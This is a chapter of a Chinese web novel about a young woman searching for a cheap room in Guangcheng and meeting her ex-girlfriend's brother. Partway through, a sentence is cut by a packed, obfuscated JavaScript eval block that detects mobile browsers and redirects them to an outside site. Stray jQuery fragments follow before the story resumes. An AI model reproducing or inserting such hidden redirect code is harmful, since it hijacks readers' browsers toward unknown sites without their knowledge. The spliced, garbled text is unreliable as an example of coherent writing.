“这间屋,租金八百,一房一厅,缺点你也看到了,白天也要开灯。”
“电费一块五一度,水费五块钱一方,网费五十块,垃圾费二十。”
“押二付一,床垫这层膜不能撕,撕了赔两百。沙发五百,窗帘两百。”
握手楼。
串串屋。
道边房。
冒充房东的中介、直租房东、转租人……
打不完的电话,见不完的陌生人……
比对价格。
比对环境。
比对装修。
都是数不尽的坑。
唯一一点值得庆幸的是,工作定下来了。
林予星坐在垃圾堆旁的亭子里,慢慢吃下买来的一块钱馒头和矿泉水。
她的行李并不多,一个行李箱,一个书包,装着她二十多年来全部家当。
这是她到广城的第五天,单方面拒绝父母亲戚的电话,微信也没有再用。换句话说,这也是她跟家里断绝联系的第五天,住在三十块钱一晚青旅的第五天。
简历雪花般投出去,大多遭到拒绝。
这行业应届毕业生没什么价值,他们要的是七天就能上手的。
读完珠宝专业后林予星便因为母亲与继父结婚的事回了家,在这行经验为零,只能从实习生做起。
她想起面试那家工作室时那白胖高男人,看着她的简历很和善的样子,笑眯眯地报出给她的条件:“工资八百,交通补贴两百,固定周日休。我看简历说,你有美术基础,高中读美术的啊。那就更应该来我们这了,货多又杂,我们还有个高级珠宝总监,可以带着你走得更远。”
林予星打开手机,看了看支付宝里的存款。
工作半年,省吃俭用存下来五千块,可以撑过这段实习期。
但是……
实习期多长?
白胖高男人没说。
这就意味着她随时可能因为不合适走人。
她需要短时间内为公司创造价值,至少要对得起给她开的一千块工资。
由于工作室不包吃住,她不可能总住在男女混住的青旅,不安全。
那就只能租房。
可是距离公司近的房子都要一千来块,预算是五百块单间的话,就只能是距离公司七个站外的地方。
林予星想了许多,咽下最后一口馒头后定定望着远处驶来的垃圾车,她识相地提起包和行李走开。
“靓女,租房吗?”路边有开着电动车的大叔叼着烟问她,面相看起来不太好。
她警惕地摇头拒绝。
好在男人没有强求的意思,骑着电动车离开。
看了一上午房子依旧无果。
她累了,慢慢走去地铁站,往下一站、下下一站,扎进那狭小潮湿,抬头只能望见细细长长被黑色电线分割成长短不一色块,低头是堆放满垃圾,蟑螂遍地走的小巷子。
要是运气好,说不准能遇到跟兔子似的大老鼠,睁着圆溜溜的眼睛躲在暗处,等人走过时突然窜出,钻入下水道。
好在林予星近视,看不大清楚。她揉了揉肩,两边肩膀被书包勒地生疼,连骨头都似乎陷下去几分。
正在赶往地铁站途中,她的手机忽然在外套袋子里震动。
林予星愣住。
知道她这个号的人并不多,这个时候打给她的能有谁?
她三个密友都顾着各自生活,父母都在忙自己的家庭,六亲冷淡,除了电销,实在找不出第二个人。
看号码,还是国外的。
林予星想都没想,直接挂断。
对方锲而不舍打进来,再打再挂,重复三次后林予星把它拉进黑名单,总算消停了。
直到林予星切换到微信,看到陌生的头像打来语音通话,她总算想起,这时候可能打给自己电话的人里有谁。
她的前女友。
黎欣。
二人在高中谈上,坚持到大二和平分手,各奔前程。
林予星想了想,挂断电话,发过去一个问号:[?]
好的前任应该和死的一样,她做到了。
尤其是林予星看到黎欣放出的结婚照时,她知道,她们之间彻底结束,再也没有任何可能。
黎欣见她回应,也不说其他,只给她发了个招租链接,并留言:[我听说了你和罗森的事,去这个地方租房,不会被坑。]
[林予星:哪个大嘴巴告诉你的?]
[黎欣:他发朋友圈小作文,正好被人截图给我看了。]
[黎欣:我知道你要强,你也不用想太多,就当是我日行一善。]
[林予星:什么小作文?]
山城就那么点大,罗森父母做老师的,圈子小多少能听到风声。小地方又容易传出八卦。他求婚时弄得轰轰烈烈,才几天过去,到手的未婚妻就飞了,总会有闲言碎语传出。
[黎欣:(无语.jpg)你把他拉黑了?]
[林予星:不然呢?]
[黎欣:算了,等会再给你看,你先去我说的地方租房吧。放心,不要你腰子。]
林予星戒心重,认识她的人或多或少都能感觉到。
黎欣了解她,用玩笑口吻化解林予星心中疑虑。
身后电动车“哔哔”两声赶人,林予星连忙让开一条道,拖着行李箱走去榄仁树下点开链接。
春日多雨,才停不久又下起细细密密的雨丝。
透明水珠落在贴了防窥膜的手机屏幕上,仿佛掉了满屏稀碎的饼干屑,映着天光,亮晶晶的像糖霜。
人行道上停满电动车,时不时传来喇叭声,往来行人撑着伞或是戴帽子面无表情走过,趿拉着的黑色人字拖有些质量不大好,每走一步就会发出挤压空气的动静,直到走远才被马路上急行过的车声遮盖。
这地方网络不大好,链接刚显示一半,10086发来短信提示流量不足。
林予星愣了愣,抬头恰好望见对面凉茶中药店墙壁上贴着一张泛黄白纸。她眯眼去看,发现上面写了Wifi名称和密码。
趁着老板在打游戏,她急忙关闭数据流量,找到这家店铺名称,输入八个八密码。
显示连上的瞬间,链接被完全打开。
[小区公寓招租:单间500-1000,一房一厅1000-1800。]
底下还有其他户型,林予星没有再继续往下划,她倒回去看了看单间,除了有些旧以外,其他都还好。
还是黎欣介绍的……
林予星想了想,这女人跟自己谈恋爱时不靠谱,但到底是和平分手,又听说了自己和罗森的事,总不至于落井下石。
她复制上面的手机号,拨打过去。
前一次没有接,等打到第二次,对方才接起来。
那头声音惫懒,透着几分漫不经心,用粤语开场:“边个?”
“我系雷家姐介绍嘅,想租房,单间仲有无?”她粤语不太熟练,九声六调转折处略显生硬。
对方明显听出她粤语不大好,自动换上了普通话:“嗯,还有,预算多少?”
很难得,他说话并不带口音,却带着本地特有的慵懒湿凉。
林予星忙回答:“最低的。”
“还有一间,在三楼,你过来看看吧。”
“好。”林予星看了看链接上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362962|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显示的地铁站,距离她所在的地方有三个站,忙说,“我半个小时后到。”
“嗯,你到了再给我打电话。”他说完这一句便挂断了。
林予星本想回应一声以示礼貌,现在却卡在喉咙里。
她默默查好转车方向和具体地址截图保存,拖着行李箱继续上路。
阴雨绵绵的雨丝濡湿红色地砖,深深浅浅,像画纸上没调匀的颜料。年深日久,有些砖块已经松动,积蓄的肮脏雨水潜伏在地下,只等来人经过便从地底窜起,偷袭每双路过的鞋。
红绿灯等了许久才跳动转换,送外卖的电动车肆无忌惮穿行在人群中,不耐烦地朝她们按喇叭。
等过了马路,将行李和背包放进传送带,拿出交通卡滴卡进闸。
下雨天坐地铁的人明显多了许多,保洁阿姨拿着大拖把到处吸水。
距离下一趟车只有一分钟。
林予星选了个人少的站门外排队,她看了看地铁图,确认自己没坐错方向后放下心来,耐心等待。
黑黢黢的地铁通道对面贴着广告牌,不是奶粉就是美容医院。
不等她看清广告词,地铁即将到站提示音响起。
行驶而来的轰鸣声从隧道传出,前车灯亮得恍如流星划过,载满众生慢慢停下。
车门打开的那刻,身后压力传来。
林予星不得不跟随人群挤入,像人潮中即将淹没的小舟,被带着卷着涌入车厢。
车门关上发动,尖锐刺耳的噪音扎入耳中,让人很不舒服。
好不容易抵达落车点,想出去也是下了番功夫。
她循着地图出站,步行十分钟抵达目的地。
竟是个老小区,进出还要刷卡。
林予星再次拿起手机,给对方打电话。
“嗯,督卒。阿叔,帮我顶下。”对方正在下象棋,听到她说已经到了,棋子碰撞声便也远了不少。
林予星放下手机,站在小区外往里望。
白发苍苍的保安坐在亭子里,正抱着保温杯看她,神情淡淡的。
在他面前,红色收音机里正播放粤剧《铡包勉》,声音尖利。
微风吹过,她闻到风中带来了股清冽花香,这才注意到远处有棵粉紫色紫荆树,花开满树,笼罩在雨雾中,模模糊糊间有个身影朝自己走来。
高高瘦瘦,皮肤白嫩。
再近些,留着短碎发,眉眼精致,轮廓清晰,整个人透着股淡漠的慵懒感。
他穿着浅蓝色衬衫,内搭白衣白裤,如果左腿没有缠着绷带,穿着白色拖鞋的话,或许帅哥的氛围感会更足些。
林予星瞥了眼,收回目光。
谁知对方看到她后顿了顿,慢吞吞的脚步立刻加快几分。
门口保安认识他,不等他说话便迅速放行。
林予星没有在意,直至他走到自己面前距离半米处,她才重新把视线放到他脸上。
与黎欣有几分相似的面容挂起愕然,片刻后他点点头,礼貌道:“林予星。”
林予星狐疑看他的脸,盯着想了半天,总算从脑子里搜出一个陌生的名字:“黎……年?”
“少了一个字。”他提醒。
林予星实在想不起来,乱报一气只会显得不尊重,她干脆坦白:“忘了。”
早就知道她会忘……
他叹口气:“黎嘉年。你呢,我该叫你什么?”
“叫姐。”林予星镇定道。
黎嘉年望着她,目光透出些许复杂神色。
多年重逢,他实在喊不出那句“姐”。
正如他当年,黎欣将她带回家见父母时,他喊不出一句礼貌称呼。